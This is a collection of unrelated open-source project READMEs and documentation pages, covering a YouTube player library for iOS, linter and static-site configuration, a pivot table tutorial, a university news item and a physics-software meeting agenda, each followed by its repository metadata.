text:
# YoutubeKit

`YoutubeKit` is a video player that fully supports `Youtube IFrame API` and `YoutubeDataAPI` to easily create Youtube applications.

[![Swift](https://img.shields.io/badge/Swift-4-blue.svg)](https://img.shields.io/badge/Swift-4-blue.svg)
[![Cocoapods](https://img.shields.io/badge/Cocoapods-compatible-brightgreen.svg)](https://img.shields.io/badge/Cocoapods-compatible-brightgreen.svg)
[![Carthage](https://img.shields.io/badge/Carthage-compatible-brightgreen.svg)]((https://img.shields.io/badge/Carthage-compatible-brightgreen.svg))
[![License](https://img.shields.io/badge/LICENSE-MIT-yellowgreen.svg)](https://img.shields.io/badge/LICENSE-MIT-yellowgreen.svg)

## Important Referecens
`YoutubeKit` is created based on the following references. If you are unsure whether it is a normal behavior or a bug, please check the following documents first.

- [YoutubeDataAPI (V3)](https://developers.google.com/youtube/v3/docs/)

- [Youtube IFrame Player API](https://developers.google.com/youtube/iframe_api_reference)

## Example

This is an app using `YoutubeKit`. A simple video playback example is included into `Example`.
You can create these functions very easily by using `YoutubeKit`.

|Example1|Example2|
|:-:|:-:|
|![Feed](https://github.com/rinov/Storage/blob/master/YoutubeKit/feed.gif)|![Comment](https://github.com/rinov/Storage/blob/master/YoutubeKit/comment.gif)|
|Example3|Example4|
|![Floating](https://github.com/rinov/Storage/blob/master/YoutubeKit/floating.gif)|![Rotate](https://github.com/rinov/Storage/blob/master/YoutubeKit/rotate.gif)|

## What is YoutubeKit?
`YoutubeKit` provides useful functions to create Youtube applications. It consists of the following two functions.

- `YTSwiftyPlayer (WKWebView + HTML5 + IFrame API)`

- `YoutubeDataAPI`

## YTSwiftyPlayer
`YTSwiftyPlayer` is a video player that supports Youtube IFrame API.

Features:
- High performance (Performance is 30% better than traditional UIWebView based player)
- Low memory impact (maximum 70% off)
- Type safe parameter interface(All IFrame API's parameters are supported as `VideoEmbedParameter`)

## YoutubeDataAPI
This library supports `YoutubeDataAPI (v3)`. For the details is [Here](https://developers.google.com/youtube/v3/docs/).

Available API lists:
- Actitivty(list)
- Actitivty(insert)
- Caption(list)
- Channel(list)
- ChannelSections(list)
- Comment(list)
- CommentThreads(list)
- GuideCategories(list)
- PlaylistItems(list)
- Playlists(list)
- Search(list)
- Subscriptions(list)
- VideoAbuseReportReasons(list)
- VideoCategories(list)
- Videos(list)

# Get Started

Playback the youtube video.

```swift
import YoutubeKit

final class VideoPlayerController: UIViewController {

    private var player: YTSwiftyPlayer!

    override func viewDidLoad() {
        super.viewDidLoad()

        // Create a new player
        player = YTSwiftyPlayer(
            frame: .zero,
            playerVars: [
                .playsInline(false),
                .videoID("9AALILYu58w"),
                .loopVideo(true),
                .showRelatedVideo(false),
                .autoplay(true)
            ])

        view = player
        player.delegate = self

        // Load video player
        let playerPath = Bundle(for: ViewController.self).path(forResource: "player", ofType: "html")!
        let htmlString = try! String(contentsOfFile: playerPath, encoding: .utf8)
        player.loadPlayerHTML(htmlString)
    }
}

```

### YTSwiftyPlayerDelegate
`YTSwiftyPlayerDelegate`  supports folowing delegate methods.

```swift
func playerReady(_ player: YTSwiftyPlayer)
func player(_ player: YTSwiftyPlayer, didUpdateCurrentTime currentTime: Double)
func player(_ player: YTSwiftyPlayer, didChangeState state: YTSwiftyPlayerState)
func player(_ player: YTSwiftyPlayer, didChangePlaybackRate playbackRate: Double)
func player(_ player: YTSwiftyPlayer, didReceiveError error: YTSwiftyPlayerError)
func player(_ player: YTSwiftyPlayer, didChangeQuality quality: YTSwiftyVideoQuality)
func apiDidChange(_ player: YTSwiftyPlayer)
func youtubeIframeAPIReady(_ player: YTSwiftyPlayer)
func youtubeIframeAPIFailedToLoad(_ player: YTSwiftyPlayer)
```

### Call IFrame API during playback.
```swift
// Pause the video.
player.pauseVideo()

// Seek after 15 seconds.
player.seek(to: 15, allowSeekAhead: true)

// Set a mute.
player.mute()

// Load another video.
player.loadVideo(videoID: "abcde")
```

### Get video information using YoutubeDataAPI
First, Get API key from [Here](https://console.developers.google.com/apis).

Next, add this code in your AppDelegate.

```swift
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {

    // Set your API key here
    YoutubeKit.shared.setAPIKey("Your API key")

    return true
}

```

And then you can use `YoutubeDataAPI` request like this.

```swift
// Get youtube chart ranking
let request = VideoListRequest(part: [.id, .statistics], filter: .chart)

// Send a request.
YoutubeAPI.shared.send(request) { result in
    switch result {
    case .success(let response):
        print(response)
    case .failed(let error):
        print(error)
    }
}

```

Example of response here.

```ruby
VideoList(items: [YoutubeKit.Video(etag: "\"A8kisgyDEbllhHF9ooXPFFrkc/nR6_A9oyIoLTJuucY_UXeasjYNU\"",
kind: "youtube#video",
id: "jeiDjeJgF0",
contentDetails: nil,
statistics: Optional(YoutubeKit.Statistics.VideoList(dislikeCount: "1631", likeCount: "60307", commentCount: Optional("8675"), favoriteCount: "0", viewCount: "1259046")),
snippet: nil,
status: nil),
etag: "\"J67fSnfblalhHF0foXPiFFrkc/TZGPJdE22-LilSv4-3VNoPw1cS4\"",
kind: "youtube#videoListResponse",
pageInfo: YoutubeKit.PageInfo(resultsPerPage: 5, totalResults: 200))
```

### Fetch the next page (Pagination)
```swift
var nextPageToken: String?
...

// Send some request
YoutubeAPI.shared.send(request) { [weak self] result in
    switch result {
    case .success(let response):

        // Save nextPageToken
        self?.nextPage = response.nextPageToken
    case .failed(let error):
        print(error)
    }
}
...

// Set nextPageToken
let request = VideoListRequest(part: [.id], filter: .chart, nextPageToken: nextPageToken)
```

### Authorization Request
If you want authorized request such as a getting your activity in Youtube, you set your access token before sending a request.
To use `GoogleSignIn`, you can easily get your access token.
`pod 'GoogleSignIn'`

First, add this code in your AppDelegate.

```swift
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {

    // Set your access token for autheticate request
    YoutubeKit.shared.setAccessToken("Your access token")

    return true
}
```

And then you can use request requiring authorization, this is an example to get your Youtube activity.

```swift
// Get your Youtube activity
let request = ActivityListRequest(part: [.snippet], filter: .mine(true))

// Send a request.
YoutubeAPI.shared.send(request) { result in
    switch result {
    case .success(let video):
        print(video)
    case .failed(let error):
        print(error)
    }
}
```

## Requirements
Xcode 12+

Swift 5+

## Installation

### Swift Package Manager
Add the following to your Package.swift file:

```swift
dependencies: [
    .package(url: "https://github.com/rinov/YoutubeKit.git", from: "0.7.0")
]
```

### Cocoapods

```
$ pod repo update
```

And add this to your Podfile:

```ruby
pod 'YoutubeKit'
```

and

`$ pod install`

### Carthage
Add this to your Cartfile:

`github "rinov/YoutubeKit"`

and

`$ carthage update`

## Author

Github: [https://github.com/rinov](https://github.com/rinov)

Twitter: [https://twitter.com/rinov0321](https://twitter.com/rinov0321)

Email: rinov[at]rinov.jp

## License

YoutubeKit is available under the MIT license.

repository: rinov/YoutubeKit

gha_language: Swift

repo_name: rinov/YoutubeKit


text:
We know from Toys Story that our toy can move when we don't stare at them.
To fullfill your curiosity we give you oportunity to observe your moving ball when you don't look directly at it.

## Features

* 360 degrees tracking thanks to stepper motor or servo.
* Display which shows you where your ball is trying to hide.

## Hardware Requirements

* Raspberry Pi 3B or better
* Stepper motor with ULN2003 driver
* Few wires
* Breadboard

## Software Requirements

* Raspbian Wheezy
* Python 3.5.x or higher
* opencv-python-contrib
* pigpio

## Installation

To run this script you need to install opencv-python and pigpio libraries:
> pip3 install opencv-contrib-python pigpio

or

> pip3 install -r requirements.txt

## Usage

To start tracking your ball you only need to run Tracking.py
> python Tracking.py

That's all. From now your balls will never hide from you :)

license: MIT

repository: okondevs/RaspiBallFollower

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: okondevs/RaspiBallFollower


text:
## Sample 4: Display Modes

The `DisplayMode` property defines whether the list is vertical (`Row`) or horizontal (`Tile`).

In the `Row` mode, the `RowTemplate` property is used to define the look of a particular item.

In the `Tile` mode, the `TileTemplate` property is used to define the look of a particular item.

repository: riganti/dotvvm-docs

gha_language: C#

repo_name: riganti/dotvvm-docs


text:
# Employee Template Engine

[![License: Artistic-2.0](https://img.shields.io/badge/License-Artistic%202.0-0298c3.svg)](https://opensource.org/licenses/Artistic-2.0)

## Table of Contents

[Description](#description)

[Packages](#packages)

[Testing](#testing)

[Demo](#demo)

[Repository](#repository)

[Screenshots](#screenshots)

[Questions](#questions)

---

## Description

Node CLI that takes in information about employees and generates an HTML webpage that displays summaries for each person.

Each team consists of 1 **Manager**, and any given number of **Engineers** and **Interns**. Once all team members have been added, custom HTML cards are generated for the entire team that contain profiles of each individual team member **_based on their role._**

---

## Packages

1. package.JSON to keep track of node packages used(init -y)
2. jest (For testing purposes)

---

## Testing

The application can be tested by typing **'npm run test'** from the terminal of your computer. The application has been extensively tested and has passed 17 of 17 unit tests.

---

## Demo

Video demonstration of the[Unit Test](https://drive.google.com/file/d/1z8YCY-4Hc5aRc8QCLQ4OhH-ogaRlMLtu/view)

Video demonstration of the [Application](https://drive.google.com/file/d/1jwDJuBmVknVWJhD-hSvVtYIFZ--4-mFZ/view)

---

## Repository

To view the commit history of the application please visit the
[Github Repo](http://github.com/fsgeoff)

---

## Screenshots

![](./screenshots/screenshot1.png)
![](./screenshots/screenshot2.png)
![](./screenshots/screenshot3.png)

---

## Questions

Please feel free to contact me w/any questions concerning the application.

Geoff Nix

(347)727-1956

<EMAIL_ADDRESS>

repository: FSGeoff/employee-template-engine

branch_name: refs/heads/main

repo_name: FSGeoff/employee-template-engine


text:
---
title: Sign up by Tuesday for a check-in group!
date: 2020-09-26T22:30:00.633Z
---
# Please Sign Up by Tuesday, September 29th at 9AM PST to receive a check-in group assignment!

Time zone converter for 9AM PST [here](https://www.thetimezoneconverter.com/?t=9%3A00%20am&tz=San%20Francisco&).

#### What are Check-In Groups?

We'll create groups of 5 people who'll check in with each other on project progress. The goal is create a chance for people to create connections through the event, support each other, and hold each other accountable in a smaller group setting. You're welcome to create a group with people you know through the signup form, or have us choose randomly based on your timezone. You'll check in with each other every week on your project progress.

repository: BLKKKBVSIK/CodeWithFriends

repo_name: BLKKKBVSIK/CodeWithFriends


text:
Local Search PHP
----------------

A simple PHP search engine that crawls a site it is embedded in and supports simple searches of the site.

This only looks at the web pages on your site through a crawl process like any other web search engine.
The crawl process is embedded into the pages of the site with AJAX.   The crawl process and the search
process return JSON so you can use it any way you like and format it in a way that fits with the design
of your site.

This does not require a separate crawl process and used SQLite on the local disk for its page index database.

Using ChatGPT
-------------

The initial version of this code was built with ChatGPT.  I asked the following questions:

* I want to write a simple PHP search engine that crawls a site it is embedded in and supports simple searches of the site.
* Chuck: Started a file - crawl.php
* Could I use DOMDocument and loadHTML instead?
* How would I remove multiple spaces and blank lines from the body and title text
* How do I exclude the contents of the nav tag from the body content
* How do I made sure not to add the same body content twice?
* How about if I just store the hash of the body content in the body array?
* What are good places to add error checking
* How do I get the error code like 404 from `file_get_contents`
* How to check if `$http_response_header` is a 2xx or 3xx
* Can I store the pages in an SQLITE database so this crawler is restartable?
* Chuck: Started a second file - crawl2.php
* Can you also store the queue of unretrieved urls in the database
* Can you store the queue in the pages table and add a retrieved date so we can do the crawl over and over and re-crawl older pages?
* Add some code to the end to read and dump all the pages in the table
* How do I insert the initial url with on on duplicate key ignore
* Is "INSERT IGNORE" valid SQLITE syntax?
* If I insert the initial page with $now it never is retrieved - how would you make it so the first url is retrieved and the actual loop is properly primed?
* Your answer was wrong.
* ChatGPT:  Could you please clarify which part of my answer was wrong so I can provide a more accurate response?
* You still are selecting retrieved as null in the first select
* Your answer is still wrong.
* Chuck: I decided to work on the code and ask smaller questions
* Can SQLite do on duplicate key update?

repository: csev/csonline

gha_language: PHP

repo_name: csev/csonline


text:
# TimeX

TimeX is a simple time kit for Go.

## Install

```shell
go get github.com/elvuel/timex
```

## Usage

Checkout **Tests**.

## Author

-<EMAIL_ADDRESS>- <https://github.com/elvuel>

## License

Released under the [MIT License](http://www.opensource.org/licenses/MIT).

repository: elvuel/timex

repo_name: elvuel/timex


text:
---
id: misspell
title: Misspell
sidebar_label: Misspell
hide_title: true
---

# Misspell

| Supported Version | Language                | Website                             |
| ----------------- | ----------------------- | ----------------------------------- |
| 0.3.4             | Others (Spell checking) | https://github.com/client9/misspell |

## Getting Started

To start using Misspell, enable it in repository settings page on [sider.review](https://sider.review/).

## Configuration via `sider.yml`

Here are example settings for Misspell under `misspell`:

```yaml
linter:
  misspell:
    exclude:
      - vendor
      - "**/*.min.js"
      - exclude_file.rb
    targets:
      - target_directory
      - another_target_directory/foo.rb
      - bar.rb
    locale: UK
    ignore: center,behavior
```

You can use several options to more comfortable analysis to your project.

| Name                                                                        | Type           | Default | Description                                              |
| --------------------------------------------------------------------------- | -------------- | ------- | -------------------------------------------------------- |
| [`root_dir`](../../getting-started/custom-configuration.md#root_dir-option) | `string`       | -       | A root directory.                                        |
| [`exclude`](#exclude)                                                       | `string[]`     | -       | Set exclude files or directories from analysis.          |
| [`targets`](#targets)                                                       | `string[]`     | -       | Set targets for analysis.                                |
| [`locale`](#locale)                                                         | `"US"`, `"UK"` | -       | Check spelling with British English or American English. |
| [`ignore`](#ignore)                                                         | `string`       | -       | Set words to ignore from analysis.                       |

Details of options are in below.

### `exclude`

This option allows you to exclude files or directories from analysis targets of Misspell. You can use glob to specify files or directories which you would like to exclude. You need to set values of the option as a list.

### `targets`

This option allows you to specify files or directories which Misspell analyzes. You need to set values of the option as a list.

### `locale`

This option allows you to choose a spelling feature which is depended on locales. You can select either `UK` or `US`.
If you would like to check your English based on American English, write `US`.
By default, you will not be corrected for words that have different spelling in British English and American English, for example colour(color), centre(center), etc.

### `ignore`

This option allows you to ignore certain words when checking. If you list words in this option, the listed words will not be checked.
If you want to declare multiple words in this option, you need to list each of them, separating each with a comma.

repository: gnakagaw/sider-docs

gha_license_id: MIT

repo_name: gnakagaw/sider-docs


text:
# dotnet-template-templates

Templates for "dotnet new" for creating project and item templates.

These are a work-in-progress; feel free to raise an issue if you have questions or would like to help out :-)

# Installing

To install the templates, see the instructions for the [latest release](https://github.com/tintoy/dotnet-template-templates/releases/latest).

# Using

* To create a new project template, run `dotnet new project-template`.
* To create a new item template, run `dotnet new item-template`.

Note - both these templates create projects; those projects produce packages which, when installed, will make project or item templates available.

Also, there is a Template packaging template, to create a new package project, run `dotnet new packaging-template`.

# Run from source

To install the templates directly from the repository, run the following command from the root of this repository:

```
dotnet new -i src/Templates/content
```

repository: tintoy/dotnet-template-templates

repo_name: tintoy/dotnet-template-templates


text:
---
name: Gavin Ray
avatar: /static/images/me.png
occupation: Code Stuff
company: Hasura
email<EMAIL_ADDRESS>twitter: https://twitter.com/GavinRayDev
linkedin: https://www.linkedin.com
github: https://github.com/GavinRay97
---

# About Me

I've spent the last decade in the software world at startups of various sizes, wearing many hats.
Statistically, I've been programming for ~65% of the time I've been alive!

I am employed at [Hasura](https://hasura.io), where I build connectors for various data sources that allow users and organizations to connect their data to Hasura's GraphQL engine. This work is done in on the JVM, in Kotlin, using our open-source [GraphQL Data Connectors](https://hasura.io/blog/hasura-graphql-data-connectors/) framework. I think it's fascinating work and I'm proud to be a part of it.

# My Interests

My personal interests related to programming/software include:

- Databases/Query Engines
- Data Virtualization/Data Federation
- High-Performance/Low-Latency Systems
- Linux Kernel Memory Management and Storage internals
- The JVM

My primary programming languages are:

- TypeScript
- JVM Languages (Kotlin, Java, Scala)
- C/C++

Outside of programming, I have a few interests, which mostly include:
- Psychopharmacology/Medicincal Chemistry (I originally wanted to be a Chemist)
- Bodybuilding
    - My fiance is also into bodybuilding, it's something we enjoy doing together
- Electronic Music Production
    - I use REAPER, it's a great DAW
    - I have a conspiracy theory that every dev does hobbyist music production, it's got to be some kind of stereotype, like Starbucks and yoga pants


text:
<!-- README.md is generated from README.Rmd. Please edit that file -->

# rxivist\_exploration

<!-- badges: start -->

<!-- badges: end -->

The goal of rxivist\_exploration is to explore the abstract views and
pdf download statistics of *bioRxiv* preprints, as collected by the
[rxivist](https://rxivist.org/) project (github:
<https://github.com/blekhmanlab/rxivist/>)

# File description

  - `paper_stats.RDS` is a binary RDS file with computed data statistics
  - `raw_stats.RDS` is a binary RDS file with the raw download and view
    data
  - `paper_stats.Rmd` is the Rmarkdown containing stats and graphs and
    analyses
  - `paper_stats.md` is the rendered markdown output (see that
    first\!\!)

Remaining files are the RStudio project and git repo miscellany files.


text:
---
order: 1
title: "What is a pivot table?"
---

[Pivot tables](https://en.wikipedia.org/wiki/Pivot_table), also known as multi-dimensional tables or cross-tables, are tables that display the statistical summary of the data in regular flat tables. Often, such tables come from databases, but it's not always easy to make sense of the data in large tables. Pivot tables summarize the data in a meaningful way by aggregating it with sums, averages, or other statistics.

**Here's how a pivot table is explained in Wikipedia.** Consider you have a flat table like this with e-commerce T-shirt inventory data: regions, ship dates, units, prices, etc.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/upcvyrhxaft6eb9fsyp1.png)

An inventory might be overwhelmingly lengthy, but we can easily explore the data with a pivot table. Let's say we want to know `how many items` were shipped to `each region` on `each date`. Here's the pivot table that answers exactly to this question:

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g29u48y40h6kftyo1q99.PNG)

**Analytics 101.** Note that `how many items` is an aggregated, numerical value — a sum of items that were shipped. In analytical applications, such aggregated values are called "measures". Also note that `each region` and `each date` are categorial, textual values that can be enumerated. In analytical apps, such categorial values are called "dimensions".

Actually, that's everything one should know about data analytics to work with pivot tables. We'll use this knowledge later.

# Why AG Grid?

AG Grid is a feature-rich implementation of a JavaScript data table. It supports React, Angular, and Vue as well as vanilla JavaScript. Honestly, it's no exaggeration to say that it contains every feature possible (for a data table):

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rn02rqsxwcquhfuq03gw.png)

AG Grid's authors emphasize that it's particularly useful for building enterprise applications. So, it's understandable that it comes in two versions:
* free and open-source, MIT-licensed Community version
* free-to-evaluate but paid and non-OSS Enterprise version

Almost all features are included in the Community version, but a few are available only as a part of the Enterprise version: server-side row model, Excel export, various tool panels, and — oh, my! — *pivoting* and grouping.

It's totally okay for the purpose of this tutorial, but make sure to purchase the license if you decide to develop a production app with an AG Grid pivot table.

**Here's what our end result will look like:**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pq0xxdnziks2copbfy3r.png)

**Want to try it? Here's the [live demo](https://react-pivot-table-demo.cube.dev) you can use right away.** Also, the full source code is on [GitHub](https://github.com/cube-js/cube.js/tree/master/examples/react-pivot-table/).

Now we're all set, so let's pivot! 🔀

detected_licenses: MIT Apache-2.0 Cube

gha_language: Rust

gha_license_id: NOASSERTION


text:
---
# An instance of the Experience widget.
# Documentation: https://wowchemy.com/docs/page-builder/
widget: experience

# This file represents a page section.
headless: true

# Order that this section appears on the page.
weight: 40

title: Experience
subtitle:

# Date format for experience
#   Refer to https://wowchemy.com/docs/customization/#date-format
date_format: Jan 2006

# Experiences.
#   Add/remove as many `experience` items below as you like.
#   Required fields are `title`, `company`, and `date_start`.
#   Leave `date_end` empty if it's your current employer.
#   Begin multi-line descriptions with YAML's `|2-` multi-line prefix.
experience:
  - title: Data Analysis Intern
    company: UBIAI Technology Company
    company_url: ''
    location: Beijing, China
    date_start: '2019-03'
    date_end: '2019-07'
    description: |2-
        Responsibilities include:

        * Designed Vehicle Maintenance Prediction Model based on weather conditions and customers' driving behavior.

        * Applied Arima models to predict driving mileage of customers.

  - title: Quality Management Intern
    company: Beijing Benz Automotive Co., Ltd.
    company_url: ''
    location: Beijing, China
    date_start: '2018-03'
    date_end: '2018-7'
    description:
         Audit complete operations, ranging from forging to assembly for entire manufacturing process
            Collaborate with 8 engineers to produce 34-page quality manual for Quality Management Department
      Complete quality management project from start-to-finish for inaugural model of Mercedes "GLC-L" for Chinese market
---

repository: Shulu-Chen/starter-academic

repo_name: Shulu-Chen/starter-academic


text:
---
slug: csumb-acquires-national-steinbeck-center-
title: "CSUMB acquires National Steinbeck Center "
date: January 01 2020
---

  California State University, Monterey Bay and the National Steinbeck Center
  have completed a deal that will bring the university to the city of Salinas.

  Under terms of the deal, negotiated among the university, the Steinbeck Center
  and the city of Salinas, CSUMB’s corporation purchased the building for $3
  million. In addition, CSUMB paid the city $100,000 for the land beneath the
  building.

The Steinbeck Center will remain as a tenant, with an 80-year lease.

  “This is our front door to Salinas and we’re going to use this as a way to
  connect to the community and respond to their needs,” said CSUMB President
  Eduardo Ochoa.

  The University Corporation at Monterey Bay is a non-profit
  501(c)(3) auxiliary organization that operates as the business
  arm of the university. It provides direct support for a number of university
  programs and activities.

  The university is considering how to use the space. Possibilities include
  cultural and educational programming and outreach by staff members from
  CSUMB’s admissions and financial aid offices. In addition, the space will
  continue to be available as a resource for the community.

  “We are planning on engaging the campus and our partners in Salinas in
  discussions of how we might best advance the mission of the university and
  meet community needs,” said CSUMB Provost Bonnie Irwin.

Published Sept. 25, 2015

repository: csumb-archives/news-gatsby

gha_language: JavaScript

repo_name: csumb-archives/news-gatsby


text:
# UpgradeLambda

* When you're building this for the first time, ensure that you have run the import script.
* For subsequent builds, it is sufficient to run build-go-native.sh, or if building the entire project, run build-go-native.sh

These Go apps are part of larger app to upgrade AWS autoscaled instances.

repository: Eximchain/UpgradeLambda

repo_name: Eximchain/UpgradeLambda


text:
# Organizational Chart

A tool to show dynamic org chart.

# Contributions

Contributions are welcome!

# References

 - CSS Family Tree (TheCodePlayer): http://thecodeplayer.com/walkthrough/css3-family-tree
 - Organograma Dinâmico (Yuri Câmara): https://github.com/yuricamara/organograma-dinamico

repository: pedrofernandesfilho/OrgChart

repo_name: pedrofernandesfilho/OrgChart


text:
# OCaml Boilerplate

[![circleci](https://badgen.net/circleci/github/pbzweihander/ocaml-boilerplate)](https://circleci.com/gh/pbzweihander/ocaml-boilerplate)
[![license](https://badgen.net/badge/license/MIT/blue)](LICENSE)

A template structure for an OCaml project, based on [perror/ocaml-boilerplate](https://github.com/perror/ocaml-boilerplate)

## Requirements

- ocaml
- opam
- findlib
- oasis
- ounit
- bisect

1. install `ocaml`, `findlib` and `opam` using default package manager
    - ex: `sudo pacman -S ocaml ocaml-findlib opam`
1. install others with opam
    ```
    opam init
    opam install oasis ounit bisect
    ```

## Usage

### Setup the project

```
oasis setup
ocaml setup.ml -configure --enable-tests
```

or

```
make configre
```

### Build the project

```
ocaml setup.ml -build
```

or

```
make build
```

### Test the project

```
ocaml setup.ml -test
```

or

```
make test
```

repository: pbzweihander/ocaml-boilerplate

repo_name: pbzweihander/ocaml-boilerplate


text:
---
eleventyNavigation:
  parent: Configuration
  key: Passthrough File Copy
  order: 1
---
# Passthrough File Copy  {% addedin "0.2.7" %}

Eleventy, by default, searches for any file in the input directory with a file extension listed in your [`templateFormats` configuration](/docs/config/#template-formats). That means if you’ve listed `njk` in your `templateFormats`, we’ll look for any Nunjucks templates (files with the `.njk` file extension).

If a file format is not recognized by Eleventy as a valid template file extension, Eleventy will ignore the file and not copy it to your output. You can modify this behavior by adding supported template formats:

{% codetitle ".eleventy.js" %}

```js
module.exports = function(eleventyConfig) {
  eleventyConfig.setTemplateFormats([
    "md",
    "css" // css is not yet a recognized template extension in Eleventy
  ]);
};
```

In the above code sample `css` is not currently a recognized Eleventy template, but Eleventy will search for any `*.css` files inside of the input directory and copy them to output (keeping directory structure).

You might want to use this for images by adding `"jpg"`, `"png"`, or maybe even `"webp"`.

## Learn more

[[toc]]

## Manual Passthrough File Copy (Faster) {% addedin "0.2.14" %}

Searching the entire directory structure for files to copy based on file extensions is not optimal with large directory structures. If we know what non-template static content we want to appear in our output, we can opt-in to specify _files_ or _directories_ for Eleventy to copy. This will probably speed up your build times.

{% callout "info" %}Passthrough File Copy entries are relative to the root of your project and not your Eleventy input directory.{% endcallout %}

{% codetitle ".eleventy.js" %}{% codetitle "_site", "Output Directory" %}

```js
module.exports = function(eleventyConfig) {
  // Output directory: _site

  // Copy `img/` to `_site/img`
  eleventyConfig.addPassthroughCopy("img");

  // Copy `css/fonts/` to `_site/css/fonts`
  // If you use a subdirectory, it’ll copy using the same directory structure.
  eleventyConfig.addPassthroughCopy("css/fonts");
};
```

If you do not want to maintain the same directory structure, [change the output directory.](#change-the-output-directory)

### How Passthrough File Copy Handles Input Directories

As stated above, passthrough file copy paths are relative to the project root and not the input directory. Because of this, if the passthrough file copy path is inside of your input directory, the input directory will be stripped from the output path.

For example:

* `input` directory is `src`
* `output` directory is `_site`.

If we copy `src/img` using passthrough file copy, it will copy to `_site/img`.

{% codetitle ".eleventy.js" %}{% codetitle "src", "Input Directory" %}
{% codetitle "_site", "Output Directory" %}

```js
module.exports = function(eleventyConfig) {
  // Input directory: src
  // Output directory: _site

  // The following copies to `_site/img`
  eleventyConfig.addPassthroughCopy("src/img");
};
```

### Using Globs {% addedin "0.9.0" %}

This example emulates the `templateFormats` passthrough file copy method above, copying all `jpg` image files to the output folder, maintaining their directory structure. If you do not want to maintain the same directory structure, [change the output directory.](#using-globs-and-output-directories)

Note that this method is slower than manual passthrough file copy without globs, as it searches the entire directory structure and copies each file in Eleventy individually.

{% codetitle ".eleventy.js" %}

```js
module.exports = function(eleventyConfig) {
  // Find and copy any `jpg` files, maintaining directory structure.
  eleventyConfig.addPassthroughCopy("**/*.jpg");
};
```

With an output directory of `_site`:

 * `img/avatar.jpg` will copy to `_site/img/avatar.jpg`
 * `subdir/img/avatar.jpg` will copy to `_site/subdir/img/avatar.jpg`

### Change the Output Directory {% addedin "0.9.0" %}

Instead of a string, pass in an object of the following structure: `{ "input": "target" }`.

{% codetitle ".eleventy.js" %}{% codetitle "src", "Input Directory" %}
{% codetitle "_site", "Output Directory" %}

```js
module.exports = function(eleventyConfig) {
  // Input directory: src
  // Output directory: _site

  // Copy `img/` to `_site/subfolder/img`
  eleventyConfig.addPassthroughCopy({ "img": "subfolder/img" });

  // Copy `src/img/` to `_site/subfolder/img`
  eleventyConfig.addPassthroughCopy({ "src/img": "subfolder/img" });

  // Copy `random-folder/img/` to `_site/subfolder/img`
  eleventyConfig.addPassthroughCopy({ "random-folder/img": "subfolder/img" });
};
```

#### Using Globs and Output Directories

Note that this method is slower than manual passthrough file copy without globs, as it is searching the entire directory structure and copies each file in Eleventy individually.

{% codetitle ".eleventy.js" %}{% codetitle "_site", "Output Dir" %}

```js
module.exports = function(eleventyConfig) {
  // Output directory: _site

  // Find and copy any `jpg` files in any folder to _site/img
  // Does not maintain directory structure.
  eleventyConfig.addPassthroughCopy({ "**/*.jpg": "img" });
};
```

With an output directory of `_site`:

 * `img/avatar.jpg` would copy to `_site/img/avatar.jpg`
 * `subdir/img/avatar.jpg` would copy to `_site/img/avatar.jpg`

## Passthrough All Content {% addedin "0.5.4" %}

Given that global copy of all content in the directory may be a security risk, we do not copy anything that doesn’t match the file extensions listed in `templateFormats`. Note that we do provide a command line flag to bypass this behavior: `--passthroughall`. Intentionally, there is no configuration option to do this.

Warning: This may be a security risk—this is intended only for demos and other non-production use.

```bash
# Copies ALL files in the input directory to the output directory
npx @11ty/eleventy --passthroughall
```


text:
HTML header:
    <link rel="stylesheet" type="text/css" href="../../base.css" />
    <link rel="stylesheet" type="text/css"   href="../../epicsv4.css" />

<!-- python -m markdown BNL_agenda.md > BNL_agenda.html -->

<br />

# Agenda of EPICS Version 4 Meeting

*AGENDA V24-6-14*

**Dates**: July 15, 16, 17 2014

**Location**: [Brookhaven National Lab](http://www.bnl.gov/world/).

**Local contact**: Bob Dalesio

Comprehensive minutes will be recorded by Google shared document. Attendees should be prepared to minute part of the meeting.

DAY 1, Tuesday July 15, 2014: Version 4.4 preparedness status reports
-
9:00 AM Convene. Start at 9:20. Precise location to be announced. TIMES ARE AT CHAIR'S DISCRETION.

Status reports and demonstrations of work for [planned version 4.4 features][1].

* **dbGroup** _Ralph Lange_

    Description, API and demo. Note dbGroup is not intended for 4.4, but this is a convenient time for Ralph to bring us up to date.

* **Version 4.4 Feature List review** _Greg White_

    Short review of [features that we intended to be in 4.4][1]

* **pvDatabase, and use of pvDatabase for composite PVs** _Marty Kraimer_

    A description and demo of the "multi" capabilities of pvDatabase for
	expressing a pva PV whose value is composed of CA pv names and values.
	Other features of PVDatabase will be discussed Wednesday morning.

* **Multicast** _Matej Sekornaja_

    Description, API and demo of use cases.

* **Use of unions** _Dave Hickin_

    Just the two kinds of union and a demo - perhaps from areaDetector work,
but lets look more closely at areaDetector, NTNDArray and discussion in day 2.

* **Codec based transport** _Matej Sekornaja_

    Description, API and demo of both pvAccess codec and the ZeroMQ codec.

* **pvArray and copy on write** _Marty Kraimer_

    I'd really like to see a demo which illustrates not only the
programmers interface but also quantitatively characterizes the
performance.

* **New channel Data API** _Matej Sekornaja_

    Description, API and demo.

* **Access security plugin** _Matej Sekornaja_

    Description, API and demo.

* **pvaPy** _Andrew for Sinisa Veseli_

    Description, API, and demo of Python support of pvAccess (and CA is being added through the pvAccess API too, right?)

DAY 2, Wednesday July 16, 2014: Collaboration exchange
-
9:00 AM. Precise location to be announced. TIMES ARE AT CHAIR'S DISCRETION.

*Morning 1; IOC plans*

* **pvDatabase description and status** _Marty Kraimer_

    Further description of the database and processing, and demo of examples (con't from Tuesday's talk on the multi capability of pvDatabase).

* **Discussion of V4 IOC integration plans and schedule** _Andrew Johnson leads_

*Morning 2; High level applications and HP processing support*

* **New Normative types with errors** _Greg White_

    Description and demo of types including measurement or fitting errors

* **areaDetector and V4 Integration work at Diamond** _Dave Hickin_

* **areaDetector, NTNDArray, and plans for large data support**

    Bob, can you prepare the objectives for this session, and questions to be answered?

*Afternoon; User experiences*

* **SLAC's architecture for EPICS V4, services and applications** _Greg White_

    Description and demo of the services developed at slac, and their use in Matlab apps.

